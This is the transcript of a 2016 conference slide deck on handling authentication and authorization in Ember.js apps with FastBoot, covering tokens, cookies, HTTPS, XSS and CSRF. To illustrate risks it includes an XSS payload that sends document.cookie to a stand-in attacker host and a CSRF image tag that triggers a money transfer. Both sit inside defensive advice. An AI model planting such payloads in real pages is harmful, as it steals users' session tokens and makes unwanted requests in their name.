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Marco Otte-Witte
July 12, 2016
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Auth* with FastBoot
An overview of handling authentication and authorization in Ember.js app and Fastboot
Marco Otte-Witte
July 12, 2016
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Transcript
Auth* with FastBoot
Marco Otte-Witte @marcoow
https://simplabs.com @simplabs
None
https://ember-workshop.simplabs.com
Auth* in Ember
Authentication is verifying the identify of a user
Authorization is verifying permissions of an (authenticated) user
in an Ember app, you cannot actually do any of
these
$E.set('isAuthenticated', true)
$E.set('isAdmin', true)
actual authentication and authorization happens on the API server
authorization in the Ember app itself is only about presenting
a consistent UI
The Status Quo is using token based authorization
the token is issued by the API server upon authentication
and then injected into subsequent (Ember Data) requests
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
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"progressive enhancement for ambitious web apps"
FastBoot performs the initial render on the server, reducing the
time until the user sees content
after the JavaScript has downloaded, the Ember app takes over
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
A floating session ensures a singular execution context in the
browser as well as in FastBoot
it turns out we've had the mechanism for that since
1997
http://www.discoversmithsfalls.ca/wp-content/uploads/2014/12/mm_cookie.jpg
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
None
None
None
there's no document.cookie in Node.js
ember install ember-cookies https://github.com/simplabs/ember-cookies
Demo https://github.com/marcoow/fastboot-auth-example
Security Concerns
everyone with access to a user's token can impersonate as
that user
Authorization: Bearer vsret63refrwtu9
Authorization: Bearer vsret63refrwtu9
use HTTPs so that the token is not sent as
clear text!
Authorzation: Bearer 4t4hw4et
make sure your HTTPs is setup correctly
HSTS, TLS 1.1/1.2, PFS, ephemeral Diffie Hellmann key exchange, etc.
validate your HTTPS setup https://www.ssllabs.com/ssltest/
None
http://redpowerstation.co.uk/wp-content/uploads/2013/03/image.jpg https://www.python.org/m/psf/fastly.png
XSS a web developer's worst nightmare
someone gets to execute their (malicious) JavaScripts in the context
of your app
<h2> Hello, {{{user.name}}} </h2>
<h2> Hello, <script>$.ajax('http://bad.ru?cookie=' + document.cookie)</script> </h2>
use {{…}}, not {{{…}}}
don't use htmlSafe on user entered content
enable CSP https://github.com/rwjblue/ember-cli-content-security-policy
what if JavaScript had no access to the cookie holding
the token in the first place?
An alternative approach using token based authorization via a HttpOnly
cookie
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
this has implications on your domain setup
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X X
Demo https://github.com/marcoow/fastboot-auth-example/tree/cookie-based
CSRF makes users initiate requests without their consent or knowledge
<img src="http://bank.com/transfers-money?amount=1mio&to=attacker"/>
None
when using the Authorization header for authorizing API requests, CSRF
doesn't work
when using a cookie for authorizing API requests, you're vulnerable
to CSRF attacks
CSRF results in GET requests which should not modify anything
on the API
an attacker could initiate requests to the FastBoot server
FastBoot only pre-renders though, does not execute actions etc.
do not perform anything potentially unsafe in beforeModel, model, afterModel
etc.
do not perform anything potentially unsafe in beforeModel, model, afterModel
etc. (you probable don't anyways)
Wrapping up
Use token based authorization
use a cookie to transparently move authentication state and authorization
info between the browser and FastBoot
…and make sure you're safe
you could implement all these things yourself…
None
1.2 is going to support FastBoot out of the box
Thanks
http://simplabs.com @simplabs